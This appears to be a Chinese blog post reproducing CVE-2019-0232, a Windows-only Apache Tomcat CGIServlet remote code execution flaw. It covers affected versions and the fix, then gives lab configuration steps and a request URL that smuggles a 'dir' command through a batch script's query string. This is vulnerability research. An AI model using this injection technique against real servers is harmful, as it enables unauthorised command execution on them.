CVE-2019-0232:RCE on Windows Tomcat

漏洞描述

enableCmdLineArguments变量默认为true。
影响版本:

* Tomcat 9 – versions 9.0.0.M1 through 9.0.17 (9.0.18 is not affected)
* Tomcat 8 – versions 8.5.0 to 8.5.39
* Tomcat 7 – versions 7.0.0 to 7.0.93

修复方案:升级到7.0.94, 8.5.40 and 9.0.19
漏洞点:JRE将命令行参数传递给Windows的方式。与C的API:execve不同,Windows下创建进程时传递的参数是

利用条件

  • 运行在Windows
  • 通过web.xml开启了CGI支持(默认是不开启的)
  • 在conf\context.xml中添加privileged=“true”(默认是false)

缓解措施

如果不能升级,禁用掉CGI功能(其实本来就是禁用的,除非手动将其打开)

复现过程

1、在Windows下安装JRE
2、下载受影响版本的Tomcat
3、修改conf\context.xml文件(19行):

<Context privileged="true">

在这里插入图片描述
4、修改conf\web.xml,在365行左右

<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
  <param-name>cgiPathPrefix</param-name>
  <param-value>WEB-INF/cgi</param-value>
</init-param>
<init-param>
  <param-name>executable</param-name>
  <param-value></param-value>
</init-param>
<init-param>
  <param-name>enableCmdLineArguments</param-name>
  <param-value>true</param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>

5、启用CGI servlet。将注释取消掉,然后修改成这样:

<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi/*</url-pattern>
</servlet-mapping>

6、给CGI文件创建目录:

mkdir webapps\ROOT\WEB-INF\cgi

7、将以下文件内容放在webapps\ROOT\WEB-INF\cgi\test.bat

@echo off
echo Content-Type: text/plain
echo.
echo Hello, This is from CGI test_by_cqq!

8、命令行启动Tomcat:

cd bin
catalina run

访问:

http://localhost:8083/cgi/test.bat?&dir

在这里插入图片描述
其中enableCmdLineArguments只在Tomcat 9下需要(亲测Tomcat 8不需要)。
但是当执行系统命令的时候,发现并不能成功执行:
在这里插入图片描述
在这里插入图片描述
需要提供完整的路径名才能执行:
在这里插入图片描述
Tomcat有一个特别的Servlet叫做CGIServlet:https://github.com/apache/tomcat/blob/master/java/org/apache/catalina/servlets/CGIServlet.java
这个Servlet解析URL参数,然后将其转换成命令行参数。CGI脚本实际是通过 java.lang.Runtime的exec()方法来执行的。

PoC:https://github.com/pyn3rd/CVE-2019-0232
参考:https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat/
https://wwws.nightwatchcybersecurity.com/2019/04/30/remote-code-execution-rce-in-cgi-servlet-apache-tomcat-on-windows-cve-2019-0232/
https://seclists.org/fulldisclosure/2019/May/4

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值